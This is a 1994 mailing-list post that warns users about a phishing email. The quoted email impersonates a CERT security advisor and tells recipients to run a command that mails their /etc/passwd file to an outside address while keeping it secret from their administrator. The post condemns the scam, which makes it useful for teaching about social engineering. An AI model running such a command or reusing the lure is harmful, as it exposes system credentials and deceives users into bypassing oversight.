[634] in Humor
HUMOR (quasi): A simple request
daemon@ATHENA.MIT.EDU (Andrew A. Bennett)
Thu Dec 22 09:49:48 1994
To: humor@MIT.EDU
Date: Thu, 22 Dec 1994 09:46:30 EST
From: "Andrew A. Bennett" <abennett@MIT.EDU>
This is really a warning more than humor. The funny/scary part is that some
folks actually buy this and send their passwords!
NEVER NEVER NEVER tell your password! Not even to the sysop! NO NO NO!
-Drew
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Date: Sat, 22 Oct 1994 14:22:25
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Subject: Very Important
Status: RO
Dear user,
It is imperative that I attain your /etc/passwd file
immediately. It is for security reasons. You can mail
it to me by typing:
mail vanepp@sfu.ca < /etc/passwd
Do not tell your system administrator. I am
conducting an investigation on your system. Thank you
Your identity will be kept confidential. I guarantee it
Thank you for your cooperation.
Peter Van Epp Technical Systems Operations
CERT Security Advisor
vanepp@sfu.ca
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I send cert@cert.org a copy, as well as the admins at io.com.
I know this was posted earlier, but I think this is another address,
possibly an MX record as I could not telnet or finger sfu.ca.
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